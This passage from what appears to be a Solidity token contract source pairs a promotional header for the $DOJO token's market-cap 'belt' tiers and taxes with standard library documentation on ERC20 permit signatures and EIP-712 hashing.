----------------------------  $DOJO Info  ----------------------------

🥋  $DOJO is powered by a brand new smart contract.

⛩️  There are three rules in the $DOJO:

1️⃣  The token name updates depending on the current market cap.

    Example:  If the market cap rises from $9,000 to $11,000,
              the token name will update from "⚪️⚪️⚪️⚪️⚪️" to "🟡🟡🟡🟡🟡".

2️⃣  The current belt color updates depending on the current market cap.

    Example:  If the market cap is $25,000, the current belt
              color will be Orange (🟠🟠🟠🟠🟠).

3️⃣  If you buy in at a lower belt color than the current belt color, you keep the original sell tax.

    Example:  If a wallet purchases $DOJO at a $45,000 market
              cap, their wallet's sell tax would never exceed the
              Blue belt sell tax of 2%, even if they sold tokens.

💡  Each belt color has slightly different milestones and taxes:

    ⚪️⚪️⚪️⚪️⚪️

    $0 MC: White Belt

    Buy Tax: 0%
    Sell Tax: 0%

    🟡🟡🟡🟡🟡

    $10,000 MC: Yellow Belt

    Buy Tax: 1%
    Sell Tax: 0%

    🟠🟠🟠🟠🟠

    $20,000 MC: Orange Belt

    Buy Tax: 1%
    Sell Tax: 1%

    🟢🟢🟢🟢🟢

    $30,000 MC: Green Belt

    Buy Tax: 2%
    Sell Tax: 1%

    🔵🔵🔵🔵🔵

    $40,000 MC: Blue Belt

    Buy Tax: 2%
    Sell Tax: 2%

    🟣🟣🟣🟣🟣

    $75,000 MC: Purple Belt

    Buy Tax: 3%
    Sell Tax: 2%

    🔴🔴🔴🔴🔴

    $125,000 MC: Red Belt

    Buy Tax: 3%
    Sell Tax: 3%

    🟤🟤🟤🟤🟤

    $250,000 MC: Brown Belt

    Buy Tax: 4%
    Sell Tax: 3%

    ⚫️⚫️⚫️⚫️⚫️

    $375,000 MC: Black Belt

    Buy Tax: 4%
    Sell Tax: 4%

    🌈🌈🌈🌈🌈

    $500,000 MC: Rainbow Belt

    Buy Tax: 5%
    Sell Tax: 4%

 *
 * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
 * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
 * need to send a transaction, and thus is not required to hold Ether at all.
 *
 * ==== Security Considerations
 *
 * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature
 * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be
 * considered as an intention to spend the allowance in any specific way. The second is that because permits have
 * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should
 * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be
 * generally recommended is:
 *
 * ```solidity
 * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
 *     try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}
 *     doThing(..., value);
 * }
 *
 * function doThing(..., uint256 value) public {
 *     token.safeTransferFrom(msg.sender, address(this), value);
 *     ...
 * }
 * ```
 *
 * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of
 * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also
 * {SafeERC20-safeTransferFrom}).
 *
 * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so
 * contracts should have entry points that don't rely on permit.
 */

/**
 * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
 *
 * The encoding scheme specified in the EIP requires a domain separator and a hash of the typed structured data, whose
 * encoding is very generic and therefore its implementation in Solidity is not feasible, thus this contract
 * does not implement the encoding itself. Protocols need to implement the type-specific encoding they need in order to
 * produce the hash of their typed data using a combination of `abi.encode` and `keccak256`.
 *
 * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
 * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
 * ({_hashTypedDataV4}).
 *
 * The implementation of the domain separator was designed to be as efficient as possible while still properly updating
 * the chain id to protect against replay attacks on an eventual fork of the chain.
 *
 * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
 * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
 *
 * NOTE: In the upgradeable version of this contract, the cached values will correspond to the address, and the domain
 * separator of the implementation contract. This will cause the {_domainSeparatorV4} function to always rebuild the
 * separator from the immutable values, which is cheaper than accessing a cached version in cold storage.
